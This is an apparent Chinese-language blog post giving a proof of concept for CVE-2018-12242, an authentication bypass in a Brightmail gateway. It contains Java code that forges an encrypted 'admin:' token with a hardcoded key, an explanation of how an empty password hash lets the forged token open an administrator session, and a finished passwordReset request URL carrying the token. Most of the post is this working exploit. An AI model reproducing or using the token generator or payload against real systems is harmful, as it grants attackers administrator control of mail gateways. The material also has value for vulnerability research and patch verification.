CVE-2018-12242

Posted by bfpiaoran on November 12, 2018

poc 生成

Test.java

import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import sun.misc.BASE64Encoder;

public class Test{
	public static void main(String args[]){
		try{
			//System.out.print(123);
			byte[] salt = new byte[8];
			SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
			random.nextBytes(salt);
			PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray());
			SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
			SecretKey key = keyFactory.generateSecret(keySpec);
			PBEParameterSpec paramSpec = new PBEParameterSpec(salt, 1000);
			Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
			cipher.init(1, key, paramSpec);
			//byte[] salt;
			BASE64Encoder encoder = new BASE64Encoder();
			String saltString = encoder.encode(salt);
			String text = "admin:";
			byte[] ciphertext = cipher.doFinal(text.getBytes());
			String ciphertextString = encoder.encode(ciphertext);
			System.out.print(saltString + ciphertextString);
		}catch (Exception e){
			System.out.print(e);
		}

	}
}

核心还是在加密解密这块

 

加密算法一直是固定的

但是FIPS186PRNG这个算法太古老了

 

只能拿SHA1PRNG代替

 

接下来分析一波漏洞触发点

 

token = BrightmailDecrypt.decrypt(token);

 

接收到token用公共的解密方法解密

 

解密之后按   “  :  ”

分割 前面为username  后面为 passwordhash

 

然后按username做sql查询

 

然后调用getAdministratorUserByName方法

 

 

GetSQLAdministratorUserByName生成sql语句

然后查询

接着对比

如果user为空会抛出一个不存在该用户的异常

如果passwordhash与查询到的passwordhash不一致也会抛出异常

 

那么passwordhash是什么呢

在开启重置密码选项后  该字段为空。。。

然后创建一个admin session的正常操作….

 

 

那么最终payload为

 

/brightmail/action2.do?method=passwordReset&authorization=S9m%2bdmCBN8k%3dfot%2fxYG299k%3d